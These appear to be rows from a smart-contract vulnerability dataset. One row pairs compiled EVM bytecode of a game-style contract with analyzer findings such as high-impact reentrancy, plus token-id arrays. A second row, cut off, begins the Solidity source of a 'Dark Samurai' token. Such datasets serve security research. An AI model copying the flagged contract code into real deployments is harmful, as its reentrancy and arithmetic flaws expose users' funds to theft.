052604090206003015460ff16155b8015611d2d57506000818152600b602052604090205415155b15611e4e576000818152600b6020526040902054851415611e12576000818152600b6020526040902060070154611d9b90606490611d7290603063ffffffff61438516565b811515611d7b57fe5b60008881526008602052604090206002015491900463ffffffff61381c16565b6000868152600960209081526040808320858452909152902060020154611df490611dd690611dca89866143fc565b9063ffffffff6144ca16565b6000888152600860205260409020600301549063ffffffff61381c16565b60008781526008602052604090206004015491955093509150611e76565b600085815260086020908152604080832060029081015460098452828520868652909352922090910154611df490611dd690611dca89866143fc565b60008581526008602052604090206002810154600590910154611df490611dd690889061452a565b509193909250565b6000808080808033803b8015611ecc576040805160e560020a62461bcd02815260206004820152601160248201526000805160206151ce833981519152604482015290519081900360640190fd5b611ed58b613b72565b604080517f745ea0c1000000000000000000000000000000000000000000000000000000008152336004820181905260248201849052604482018e90528c151560648301528251939b509950349850734f29f33530cfa4a9f10e1a83ca4063ce96df71499263745ea0c1928a926084808201939182900301818588803b1580156119f357600080fd5b60008060008060008060008060008060008060008060006005549050600b60008281526020019081526020016000206009015481600b600084815260200190815260200160002060050154600b600085815260200190815260200160002060020154600b600086815260200190815260200160002060040154600b600087815260200190815260200160002060070154600b600088815260200190815260200160002060000154600a02600b6000898152602001908152602001600020600101540160086000600b60008b815260200190815260200160002060000154815260200190815260200160002060000160009054906101000a9004600160a060020a031660086000600b60008c815260200190815260200160002060000154815260200190815260200160002060010154600c60008b8152602001908152602001600020600080815260200190815260200160002054600c60008c815260200190815260200160002060006001815260200190815260200160002054600c60008d815260200190815260200160002060006002815260200190815260200160002054600c60008e8152602001908152602001600020600060038152602001908152602001600020546003546103e802600454019e509e509e509e509e509e509e509e509e509e509e509e509e509e5050909192939495969798999a9b9c9d565b6121646150f4565b600f54600090819060ff1615156001146121ca576040805160e560020a62461bcd028152602060048201526029602482015260008051602061518e833981519152604482015260008051602061514e833981519152606482015290519081900360840190fd5b33803b8015612211576040805160e560020a62461bcd02815260206004820152601160248201526000805160206151ce833981519152604482015290519081900360640190fd5b85633b9aca00811015612269576040805160e560020a62461bcd028152602060048201526021602482015260008051602061516e833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af68000008111156122b9576040805160e560020a62461bcd02815260206004820152600e60248201526000805160206151ae833981519152604482015290519081900360640190fd5b336000908152600660205260409020549450600160a060020a03891615806122e95750600160a060020a03891633145b15612307576000858152600860205260409020600601549350611188565b600160a060020a038916600090815260066020818152604080842054898552600890925290922001549094508414611188576000858152600860205260409020600601849055611191886138aa565b61235e6150f4565b600f5460009060ff1615156001146123c2576040805160e560020a62461bcd028152602060048201526029602482015260008051602061518e833981519152604482015260008051602061514e833981519152606482015290519081900360840190fd5b33803b8015612409576040805160e560020a62461bcd02815260206004820152601160248201526000805160206151ce833981519152604482015290519081900360640190fd5b34633b9aca00811015612461576040805160e560020a62461bcd028152602060048201526021602482015260008051602061516e833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af68000008111156124b1576040805160e560020a62461bcd02815260206004820152600e60248201526000805160206151ae833981519152604482015290519081900360640190fd5b6124ba856109b5565b3360009081526006602052604090205490955093508615806124db57508387145b156124f9576000848152600860205260409020600601549650612526565b60008481526008602052604090206006015487146125265760008481526008602052604090206006018790555b61252f866138aa565b955061190284888888610c69565b33734f29f33530cfa4a9f10e1a83ca4063ce96df7149146125ce576040805160e560020a62461bcd02815260206004820152602760248201527f796f7572206e6f7420706c617965724e616d657320636f6e74726163742e2e2e60448201527f20686d6d6d2e2e00000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6000828152600a6020908152604080832084845290915290205460ff161515612616576000828152600a602090815260408083208484529091529020805460ff191660011790555b5050565b6000808080808033803b8015612668576040805160e560020a62461bcd02815260206004820152601160248201526000805160206151ce833981519152604482015290519081900360640190fd5b6126718b613b72565b604080517fc0942dfd000000000000000000000000000000000000000000000000000000008152336004820181905260248201849052604482018e90528c151560648301528251939b509950349850734f29f33530cfa4a9f10e1a83ca4063ce96df71499263c0942dfd928a926084808201939182900301818588803b1580156119f357600080fd5b6127026150f4565b600f54600090819060ff161515600114612768576040805160e560020a62461bcd028152602060048201526029602482015260008051602061518e833981519152604482015260008051602061514e833981519152606482015290519081900360840190fd5b33803b80156127af576040805160e560020a62461bcd02815260206004820152601160248201526000805160206151ce833981519152604482015290519081900360640190fd5b34633b9aca00811015612807576040805160e560020a62461bcd028152602060048201526021602482015260008051602061516e833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af6800000811115612857576040805160e560020a62461bcd02815260206004820152600e60248201526000805160206151ae833981519152604482015290519081900360640190fd5b612860866109b5565b336000908152600660205260409020549096509450600160a060020a03881615806128935750600160a060020a03881633145b156128b15760008581526008602052604090206006015493506128f8565b600160a060020a0388166000908152600660208181526040808420548985526008909252909220015490945084146128f85760008581526008602052604090206006018490555b612901876138aa565b965061158085858989610c69565b600960209081526000928352604080842090915290825290208054600182015460028301546003909301549192909184565b6129496150f4565b600f54600090819060ff1615156001146129af576040805160e560020a62461bcd028152602060048201526029602482015260008051602061518e833981519152604482015260008051602061514e833981519152606482015290519081900360840190fd5b33803b80156129f6576040805160e560020a62461bcd02815260206004820152601160248201526000805160206151ce833981519152604482015290519081900360640190fd5b34633b9aca00811015612a4e576040805160e560020a62461bcd028152602060048201526021602482015260008051602061516e833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af6800000811115612a9e576040805160e560020a62461bcd02815260206004820152600e60248201526000805160206151ae833981519152604482015290519081900360640190fd5b612aa7866109b5565b336000908152600660205260409020549096509450871580612ad9575060008581526008602052604090206001015488145b15612af75760008581526008602052604090206006015493506128f8565b60008881526007602090815260408083205488845260089092529091206006015490945084146128f8576000858152600860205260409020600601849055612901876138aa565b600e602052600090815260409020805460019091015482565b6005546000818152600b60205260408120600201549091904290811015612bdd576002546000838152600b602052604090206004015401811115612bb7576000828152600b6020526040902060020154610f52908263ffffffff6144ca16565b6002546000838152600b6020526040902060040154610f5291018263ffffffff6144ca16565b60009250610f63565b6002546000838152600b6020526040812060040154909142910181118015612c5057506000848152600b602052604090206002015481111580612c5057506000848152600b602052604090206002015481118015612c5057506000848152600b6020526040902054155b15612c7e576000848152600b6020526040902060060154612c77908463ffffffff61458716565b9150612c87565b612c77836145a8565b5092915050565b6005546002546000828152600b602052604081206004015490929142910181118015612cfc57506000828152600b602052604090206002015481111580612cfc57506000828152600b602052604090206002015481118015612cfc57506000828152600b6020526040902054155b15612d30576000828152600b6020526040902060050154612d29908590610f46908263ffffffff61381c16565b9250612d39565b612d2984614620565b5050919050565b600f5460ff1681565b60035481565b6008602052600090815260409020805460018201546002830154600384015460048501546005860154600690960154600160a060020a039095169593949293919290919087565b6005546001016000818152600b6020526040902060070154612dbe903463ffffffff61381c16565b6000828152600b6020908152604091829020600701929092558051838152349281019290925280517f74b1d2f771e0eff1b2c36c38499febdbea80fe4013bdace4fc4b653322c2895c9281900390910190a150565b6000806000806000806000806000600554915050600160a060020a038916600090815260066020908152604080832054808452600880845282852060018082015460098752858820898952875294872001549583905293526002830154600590930154909384939091612ea990612e8b90869061452a565b6000878152600860205260409020600301549063ffffffff61381c16565b600095865260086020908152604080882060040154600983528189209989529890915290952054939e929d50909b509950919750919550909350915050565b60008581526009602090815260408083208984529091528120600101548190819081901515612f1e57612f1b898661468d565b94505b60008a8152600b602052604090206006015468056bc75e2d63100000118015612f78575060008981526009602090815260408083208d8452909152902054670de0b6b3a764000090612f76908a63ffffffff61381c16565b115b15612fff5760008981526009602090815260408083208d8452909152902054612fb090670de0b6b3a76400009063ffffffff6144ca16565b9350612fc2888563ffffffff6144ca16565b60008a815260086020526040902060030154909350612fe7908463ffffffff61381c16565b60008a81526008602052604090206003015592965086925b633b9aca0088111561342d5760008a8152600b602052604090206006015461302d908963ffffffff61458716565b9150670de0b6b3a764000082106130a457613048828b6146ec565b60008a8152600b6020526040902054891461306f5760008a8152600b602052604090208990555b60008a8152600b6020526040902060010154861461309c5760008a8152600b602052604090206001018690555b845160640185525b67016345785d8a000088106132e4576004805460010190556130c46147c8565b1515600114156132e457678ac7230489e800008810613165576003546064906130f490604b63ffffffff61438516565b8115156130fd57fe5b60008b8152600860205260409020600201549190049150613124908263ffffffff61381c16565b60008a815260086020526040902060020155600354613149908263ffffffff6144ca16565b60035584516d0eca8847c4129106ce83000000000185526132b9565b670de0b6b3a764000088101580156131845750678ac7230489e8000088105b15613211576003546064906131a090603263ffffffff61438516565b8115156131a957fe5b60008b81526008602052604090206002015491900491506131d0908263ffffffff61381c16565b60008a8152600860205260409020600201556003546131f5908263ffffffff6144ca16565b60035584516d09dc5ada82b70b59df02000000000185526132b9565b67016345785d8a000088101580156132305750670de0b6b3a764000088105b156132b95760035460649061324c90601963ffffffff61438516565b81151561325557fe5b60008b815260086020526040902060020154919004915061327c908263ffffffff61381c16565b60008a8152600860205260409020600201556003546132a1908263ffffffff6144ca16565b60035584516d0eca8847c4129106ce83000000000185525b84516d314dc6448d9338c15b0a000000008202016c7e37be2022c0914b268000000001855260006004555b60045485516103e890910201855260008981526009602090815260408083208d845290915290206001015461332090839063ffffffff61381c16565b60008a81526009602090815260408083208e8452909152902060018101919091555461334d90899061381c565b60008a81526009602090815260408083208e8452825280832093909355600b9052206005015461338490839063ffffffff61381c16565b60008b8152600b602052604090206005810191909155600601546133af90899063ffffffff61381c16565b60008b8152600b6020908152604080832060060193909355600c8152828220898352905220546133e690899063ffffffff61381c16565b60008b8152600c602090815260408083208a845290915290205561340e8a8a8a8a8a8a6149df565b945061341e8a8a8a89868a614be9565b945061342d89878a8589614d57565b50505050505050505050565b6134416150f4565b6005546000818152600b60205260408120805460018201546007909201549092808080808080606461347a89603063ffffffff61438516565b81151561348357fe5b04965060328860008b8152600e602052604090205491900496506064906134b1908a9063ffffffff61438516565b8115156134ba57fe5b60008b8152600e602052604090206001015491900495506064906134e5908a9063ffffffff61438516565b8115156134ee57fe5b04935061350984611dca87818a818e8e63ffffffff6144ca16565b60008c8152600b602052604090206005015490935061353686670de0b6b3a764000063ffffffff61438516565b81151561353f57fe5b60008d8152600b6020526040902060050154919004925061358d90670de0b6b3a76400009061357590859063ffffffff61438516565b81151561357e57fe5b8791900463ffffffff6144ca16565b905060008111156135bd576135a8858263ffffffff6144ca16565b94506135ba838263ffffffff61381c16565b92505b60008a8152600860205260409020600201546135e090889063ffffffff61381c16565b60008b815260086020526040902060029081019190915561361290613605908661357e565b879063ffffffff61381c16565b60008054604051929850600160a060020a03169188156108fc0291899190818181858888f1935050505015801561364d573d6000803e3d6000fd5b506136646002855b8591900463ffffffff61381c16565b60008c8152600b602052604090206008015490935061368a90839063ffffffff61381c16565b600b60008d815260200190815260200160002060080181905550600b60008c815260200190815260200160002060020154620f4240028d60000151018d60000181815250508867016345785d8a0000028a6a52b7d2dcc80cd2e4000000028e6020015101018d6020018181525050600860008b815260200190815260200160002060000160009054906101000a9004600160a060020a03168d60400190600160a060020a03169081600160a060020a031681525050600860008b8152602001908152602001600020600101548d606001906000191690816000191681525050868d6080018181525050848d60e0018181525050838d60c0018181525050828d60a00181815250506005600081548092919060010191905055508a806001019b505042600b60008d8152602001908152602001600020600401819055506137ed6002546137e16109d84261381c90919063ffffffff16565b9063ffffffff61381c16565b60008c8152600b6020526040902060028101919091556007018390558c9b505050505050505050505050919050565b81810182811015613877576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d61746820616464206661696c656400000000000000000000000000604482015290519081900360640190fd5b92915050565b60006138a361389a613895858563ffffffff6144ca16565b614620565b611dca85614620565b9392505050565b6000808210806138ba5750600382115b156138c7575060026138ca565b50805b919050565b6005546002546000828152600b60205260409020600401544291018111801561393a57506000828152600b60205260409020600201548111158061393a57506000828152600b60205260409020600201548111801561393a57506000828152600b6020526040902054155b156139715761394c84611dca89613aeb565b60008881526008602052604090206003015561396c828886898988612ee8565b611902565b6000828152600b6020526040902060020154811180156139a357506000828152600b602052604090206003015460ff16155b15611902576000828152600b60205260409020600301805460ff191660011790556139cd83613439565b925080670de0b6b3a764000002836000015101836000018181525050868360200151018360200181815250507f88261ac70d02d5ea73e54fa6da17043c974de1021109573ec1f6f57111c823dd33600860008a815260200190815260200160002060010154856000015186602001518760400151886060015189608001518a60a001518b60c001518c60e00151604051808b600160a060020a0316600160a060020a031681526020018a6000191660001916815260200189815260200188815260200187600160a060020a0316600160a060020a0316815260200186600019166000191681526020018581526020018481526020018381526020018281526020019a505050505050505050505060405180910390a150505050505050565b6000818152600860205260408120600501548190613b0a908490614ec5565b600083815260086020526040902060048101546003820154600290920154613b3c926137e1919063ffffffff61381c16565b90506000811115613b685760008381526008602052604081206002810182905560038101829055600401555b8091505b50919050565b8051600090829082808060208411801590613b8d5750600084115b1515613c09576040805160e560020a62461bcd02815260206004820152602a60248201527f737472696e67206d757374206265206265747765656e203120616e642033322060448201527f6368617261637465727300000000000000000000000000000000000000000000606482015290519081900360840190fd5b846000815181101515613c1857fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214158015613c7f57508460018503815181101515613c5757fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214155b1515613cfb576040805160e560020a62461bcd02815260206004820152602560248201527f737472696e672063616e6e6f74207374617274206f7220656e6420776974682060448201527f7370616365000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b846000815181101515613d0a57fe5b90602001015160f860020a900460f860020a02600160f860020a031916603060f860020a021415613e4d57846001815181101515613d4457fe5b90602001015160f860020a900460f860020a02600160f860020a031916607860f860020a0214151515613dc1576040805160e560020a62461bcd02815260206004820152601b60248201527f737472696e672063616e6e6f7420737461727420776974682030780000000000604482015290519081900360640190fd5b846001815181101515613dd057fe5b90602001015160f860020a900460f860020a02600160f860020a031916605860f860020a0214151515613e4d576040805160e560020a62461bcd02815260206004820152601b60248201527f737472696e672063616e6e6f7420737461727420776974682030580000000000604482015290519081900360640190fd5b600091505b8382101561431d5784517f400000000000000000000000000000000000000000000000000000000000000090869084908110613e8a57fe5b90602001015160f860020a900460f860020a02600160f860020a031916118015613efe575084517f5b0000000000000000000000000000000000000000000000000000000000000090869084908110613edf57fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b15613f6b578482815181101515613f1157fe5b90602001015160f860020a900460f860020a0260f860020a900460200160f860020a028583815181101515613f4257fe5b906020010190600160f860020a031916908160001a905350821515613f6657600192505b614312565b8482815181101515613f7957fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a021480614049575084517f600000000000000000000000000000000000000000000000000000000000000090869084908110613fd557fe5b90602001015160f860020a900460f860020a02600160f860020a031916118015614049575084517f7b000000000000000000000000000000000000000000000000000000000000009086908490811061402a57fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b806140f3575084517f2f000000000000000000000000000000000000000000000000000000000000009086908490811061407f57fe5b90602001015160f860020a900460f860020a02600160f860020a0319161180156140f3575084517f3a00000000000000000000000000000000000000000000000000000000000000908690849081106140d457fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b151561416f576040805160e560020a62461bcd02815260206004820152602260248201527f737472696e6720636f6e7461696e7320696e76616c696420636861726163746560448201527f7273000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b848281518110151561417d57fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a02141561425c5784826001018151811015156141b957fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a021415151561425c576040805160e560020a62461bcd02815260206004820152602860248201527f737472696e672063616e6e6f7420636f6e7461696e20636f6e7365637574697660448201527f6520737061636573000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b82158015614308575084517f30000000000000000000000000000000000000000000000000000000000000009086908490811061429557fe5b90602001015160f860020a900460f860020a02600160f860020a0319161080614308575084517f3900000000000000000000000000000000000000000000000000000000000000908690849081106142e957fe5b90602001015160f860020a900460f860020a02600160f860020a031916115b1561431257600192505b600190910190613e52565b600183151514614377576040805160e560020a62461bcd02815260206004820152601d60248201527f737472696e672063616e6e6f74206265206f6e6c79206e756d62657273000000604482015290519081900360640190fd5b505050506020015192915050565b600082151561439657506000613877565b508181028183828115156143a657fe5b0414613877576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d617468206d756c206661696c656400000000000000000000000000604482015290519081900360640190fd5b60008281526009602090815260408083208484528252808320600190810154600b8085528386206005810154938101548752600e8652938620548787529452600790920154670de0b6b3a7640000936144b993926144ad92909161448491879160649161446e9163ffffffff61438516565b81151561447757fe5b049063ffffffff61438516565b81151561448d57fe5b6000888152600b602052604090206008015491900463ffffffff61381c16565b9063ffffffff61438516565b8115156144c257fe5b049392505050565b600082821115614524576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d61746820737562206661696c656400000000000000000000000000604482015290519081900360640190fd5b50900390565b600082815260096020908152604080832084845282528083206002810154600190910154600b909352908320600801546138a392670de0b6b3a76400009161457191614385565b81151561457a57fe5b049063ffffffff6144ca16565b60006138a3614595846145a8565b611dca6145a8868663ffffffff61381c16565b60006309502f906146106d03b2a1d15167e7c5699bfde00000611dca61460b7a0dac7055469777a6122ee4310dd6c14410500f29048400000000006137e16b01027e72f1f12813088000006144ad8a670de0b6b3a764000063ffffffff61438516565b614f5c565b81151561461957fe5b0492915050565b6000614633670de0b6b3a7640000614faf565b614610600261466661465386670de0b6b3a764000063ffffffff61438516565b65886c8f6730709063ffffffff61438516565b81151561466f57fe5b046137e161467c86614faf565b6304a817c89063ffffffff61438516565b6146956150f4565b600083815260086020526040902060050154156146c9576000838152600860205260409020600501546146c9908490614ec5565b506005805460009384526008602052604090932001919091558051600a01815290565b6000818152600b60205260408120600201544291908211801561471b57506000838152600b6020526040902054155b1561473f57614738826137e1600a670de0b6b3a764000088614477565b905061476c565b6000838152600b6020526040902060020154614769906137e1600a670de0b6b3a764000088614477565b90505b61477e6109608363ffffffff61381c16565b81101561479e576000838152600b60205260409020600201819055611caf565b6147b06109608363ffffffff61381c16565b6000848152600b602052604090206002015550505050565b600080614939436137e142336040516020018082600160a060020a0316600160a060020a03166c010000000000000000000000000281526014019150506040516020818303038152906040526040518082805190602001908083835b602083106148435780518252601f199092019160209182019101614824565b5181516020939093036101000a600019018019909116921691909117905260405192018290039091209250505081151561487957fe5b046137e1456137e142416040516020018082600160a060020a0316600160a060020a03166c010000000000000000000000000281526014019150506040516020818303038152906040526040518082805190602001908083835b602083106148f25780518252601f1990920191602091820191016148d3565b5181516020939093036101000a600019018019909116921691909117905260405192018290039091209250505081151561492857fe5b046137e1424463ffffffff61381c16565b604051602001808281526020019150506040516020818303038152906040526040518082805190602001908083835b602083106149875780518252601f199092019160209182019101614968565b5181516020939093036101000a6000190180199091169216919091179052604051920182900390912060045490945092506103e89150839050046103e802820310156149d657600191506149db565b600091505b5090565b6149e76150f4565b6064850460328604600080806149fd848661381c565b60008054604051929650600160a060020a031691869181818185875af1925050501515614a2a5760009392505b600a8a0491508a8914158015614a50575060008981526008602052604090206001015415155b15614af057600089815260086020526040902060040154614a7890839063ffffffff61381c16565b60008a815260086020908152604091829020600481019390935582546001909301548251600160a060020a03909416845290830152818101849052426060830152518c918e918c917f590bbc0fc16915a85269a48f74783c39842b7ae9eceb7c295c95dbe8b3ec7331919081900360800190a4614b03565b614b00838363ffffffff61381c16565b92505b6000888152600d6020526040902060010154614b3690606490614b2d908d9063ffffffff61438516565b81151561365557fe5b92506000831115614bd957506000546002830490600160a060020a03166108fc614b6085846144ca565b6040518115909202916000818181858888f19350505050158015614b88573d6000803e3d6000fd5b5060008c8152600b6020526040902060070154614bab908263ffffffff61381c16565b60008d8152600b602052604090206007015560c0870151614bd390849063ffffffff61381c16565b60c08801525b50949a9950505050505050505050565b614bf16150f4565b6000848152600d6020526040812054819081908190606490614c1a908b9063ffffffff61438516565b811515614c2357fe5b049350606489049250614c418360035461381c90919063ffffffff16565b6003556000888152600d6020526040902060010154614cb290614ca590606490614c72908d9063ffffffff61438516565b811515614c7b57fe5b046064614c8f8d600e63ffffffff61438516565b811515614c9857fe5b049063ffffffff61381c16565b8a9063ffffffff6144ca16565b9850614cc4898563ffffffff6144ca16565b9150614cd28b8b868a614fbb565b90506000811115614cf057614ced848263ffffffff6144ca16565b93505b60008b8152600b6020526040902060070154614d16906137e1848463ffffffff61381c16565b60008c8152600b602052604090206007015560e0860151614d3e90859063ffffffff61381c16565b60e0870152506101008501525091979650505050505050565b836c01431e0fae6d7217caa00000000242670de0b6b3a76400000282600001510101816000018181525050600554751aba4714957d300d0e549208b31adb100000000000000285826020015101018160200181815250507f500e72a0e114930aebdbcb371ccdbf43922c49f979794b5de4257ff7e310c7468160000151826020015160086000898152602001908152602001600020600101543387878760400151886060015189608001518a60a001518b60c001518c60e001518d6101000151600354604051808f81526020018e81526020018d600019166000191681526020018c600160a060020a0316600160a060020a031681526020018b81526020018a815260200189600160a060020a0316600160a060020a0316815260200188600019166000191681526020018781526020018681526020018581526020018481526020018381526020018281526020019e50505050505050505050505050505060405180910390a15050505050565b6000614ed1838361452a565b90506000811115614f5757600083815260086020526040902060030154614eff90829063ffffffff61381c16565b6000848152600860209081526040808320600301939093556009815282822085835290522060020154614f3990829063ffffffff61381c16565b60008481526009602090815260408083208684529091529020600201555b505050565b6000806002614f6c84600161381c565b811515614f7557fe5b0490508291505b81811015613b6c578091506002614f9e8285811515614f9757fe5b048361381c565b811515614fa757fe5b049050614f7c565b60006138778283614385565b6000848152600b602052604081206005015481908190614fe986670de0b6b3a764000063ffffffff61438516565b811515614ff257fe5b6000898152600b6020526040902060080154919004925061501a90839063ffffffff61381c16565b6000888152600b6020526040902060080155670de0b6b3a7640000615045838663ffffffff61438516565b81151561504e57fe5b60008881526009602090815260408083208c8452825280832060020154600b909252909120600801549290910492506150a1916137e1908490670de0b6b3a764000090614571908a63ffffffff61438516565b60008781526009602090815260408083208b8452825280832060020193909355600b905220600501546150e990670de0b6b3a76400009061357590859063ffffffff61438516565b979650505050505050565b6101206040519081016040528060008152602001600081526020016000600160a060020a03168152602001600080191681526020016000815260200160008152602001600081526020016000815260200160008152509056006e20646973636f72640000000000000000000000000000000000000000000000706f636b6574206c696e743a206e6f7420612076616c69642063757272656e63697473206e6f74207265616479207965742e2020636865636b203f65746120696e6f20766974616c696b2c206e6f000000000000000000000000000000000000736f7272792068756d616e73206f6e6c79000000000000000000000000000000a165627a7a723058203d7595d8e2d33a1c1a5f6cb43a7d31444f46af53d6dfb339df3de84387893d340029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'constant-function-asm', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
22203,
2050,
2620,
2620,
24434,
2683,
2050,
2575,
7875,
2549,
7011,
2620,
2546,
21084,
26976,
19317,
2692,
20842,
4246,
26976,
24434,
2063,
23352,
2278,
2683,
2063,
2575,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2484,
1025,
3206,
1042,
29097,
18697,
7666,
1063,
1013,
1013,
5045,
7188,
1037,
2447,
18687,
1037,
2171,
2724,
2006,
2638,
7962,
14074,
1006,
21318,
3372,
17788,
2575,
25331,
2447,
3593,
1010,
4769,
25331,
2447,
4215,
16200,
4757,
1010,
27507,
16703,
25331,
2447,
18442,
1010,
22017,
2140,
3475,
7974,
13068,
2121,
1010,
21318,
3372,
17788,
2575,
8727,
3593,
1010,
4769,
8727,
4215,
16200,
4757,
1010,
27507,
16703,
8727,
18442,
1010,
21318,
3372,
17788,
2575,
3815,
4502,
3593,
1010,
21318,
3372,
17788,
2575,
2335,
15464,
2361,
1007,
1025,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,409 | 0x951b6b84fcee509c14f772e2ddba53ac64c6f7ef | /**
*Submitted for verification at Etherscan.io on 2021-06-07
*
* 🤺 https://t.me/DarkSamuraiCoin
* 🤺 Dark Samurai is an interesting NFT project that's going to release collections very soon based on medieval battle times. Fully community driven, safe of rugpulls.
*
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.s
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
